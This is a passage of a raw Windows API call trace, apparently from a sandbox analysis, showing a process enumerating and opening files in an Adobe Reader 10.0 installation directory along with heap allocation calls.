lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d618a80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb9808, dwReserved0=0x0, dwReserved1=0x0, cFileName="Onix32.dll", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFPrevHndlr.dll", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80541e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x724ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFSigQFormalRep.pdf", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18dd88, dwReserved0=0x0, dwReserved1=0x0, cFileName="pe.dll", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="piaglbreakfinder.dll", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="reader_sl.exe", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt3d.dll", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTC.der", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ff90, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScCore.dll", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x820095e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffc0b80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPPlugins", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlite.dll", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8026e440, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tracker", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewerPS.dll", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow_helper.exe", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow_helper.exe", cAlternateFileName="")) returned 0 [0081.130] GetLastError () returned 0x12 [0081.130] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0081.130] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x32398, dwReserved0=0x0, dwReserved1=0x0, cFileName="A3DUtils.dll", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x803069c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc7d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACE.dll", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x47f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroBroker.exe", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrofx32.dll", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16a0398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.dll", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13ad98, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.exe", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x803069c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x45a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32Info.exe", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbfa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroTextExtractor.exe", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.Reader.Dependencies.manifest", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80541e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x128fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.exe", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de214c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb8fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeLinguistic.dll", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37398, dwReserved0=0x0, dwReserved1=0x0, cFileName="adoberfp.dll", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x803069c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a598, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeXMP.dll", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80352c80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53f988, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGM.dll", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGMGPUOptIn.ini", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x366c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ahclient.dll", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIR", cAlternateFileName="")) returned 1 [0081.131] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.132] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.132] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0081.132] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258d90, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1258d90, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0081.132] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258d90) returned 1 [0081.132] NtClose (Handle=0x178) returned 0x0 [0081.132] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0081.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0081.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.132] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0081.134] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.134] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CAT", cAlternateFileName="")) returned 1 [0081.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200f78 [0081.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b968 [0081.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6600) returned 0x126d560 [0081.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0081.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.136] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CHS", cAlternateFileName="")) returned 1 [0081.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200f98 [0081.137] 